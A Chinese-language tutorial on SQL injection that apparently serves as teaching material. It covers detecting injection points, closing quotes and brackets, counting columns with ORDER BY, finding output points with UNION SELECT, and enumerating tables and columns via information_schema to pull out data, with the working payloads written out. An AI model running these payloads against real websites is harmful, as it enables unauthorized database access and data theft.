注入的本质
把用户输入的数据当作代码执行,须满足两条件:
1. 用户能控制输入
2. 原本程序要执行的代码,拼接了用户输入的数据然后进行执行sql注入
注入步骤
-
判断注入点
最古老的方法:
and 1=1 页面显示正常
and 1=2 页面显示不正常
最简单的方法:
传参后面加 ’ ,看是否报错
若为数字型传参,可以用-1
例如:
http://www.xxx.com/new.php?id=1 页面显示id=1的新闻
http://www.xxx.com/new.php?id=2-1 页面显示id=1的新闻
只要发生上面的这些情况的,就是存在SQL注入漏洞。
一般来说and 1=1和and 1=2被拦截的可能性太高了,可以尝试一下and -1=-1;and -1=-2;and 1>0 or 1=1
或者直接尝试or sleep(5) 让页面延迟5秒显示
其目的就是为了判断我们输入的东西是否被当做代码来执行。
遇到字符型传参,如id=1’1’
加上’%23或者’—+
其主要目的就是闭合单引号,当然也有可能别人用的是双引号,这个要自己尝试,因为他不会显示出来
出现小括号也是一样的,如id=(‘1’)
用’)来闭合它,再加上%23或者—+来闭合
具体注入点的判断还要结合根据后端的代码进行调整。下面举四个注入的不同场景:
- select *from user where id=$id $id注入需传入 1 OR 1=1
- select *from user where id=’$id’ $id注入需传入 1’ OR 1=1 — q
- select *from user where id=(‘$id’) $id注入需传入 1’) OR 1=1 — q
- select *from user where id=(“$id”) $id注入需传入 1”) OR 1=1 — q
-
判断字段数
order by 1 以第1个字段进行排序
order by 2 以第2个字段进行排序
……
例如,当order by 3 输进去之后,页面显示不正常了,那么显示这个页面的这张表就只有两个字段。
-
判断输出点
通过联合查询union寻找注入点
UNION是将两个查询的结果合并到一起,能够正常执行的前提是查询结果集的字段数要一样(这个就是前面为什么要猜测字段数的原因)
如 3个字段 union select 1,2,3 判断输出点
-
通过mysql自带库中的表查询表名和字段名
mysql 5.0以上版本加入了 information_schema这个系统自带库
information_schema.tables 存放表名和数据库的对应
information_schema.columns 存放字段名和表名对应
information_schema.tables表中有 table_name字段标识表名称
information_schema.columns表中有table_schema字段标识数据库table_name字段标识表名称,column_name字段标识字段名称database()获取库名
通常来说输出点一次只能输出一条记录
用limit 0,1;limit 1,1;limit 2,1 来一个一个的显示表名
url and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
查看字段名r
url and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='刚刚查到的表名' limit 0,1
最后,查到了我们想要的表名和字段名,就可以一个个查字段中的数据了
union select 1,字段名 from 表名 limit 0,1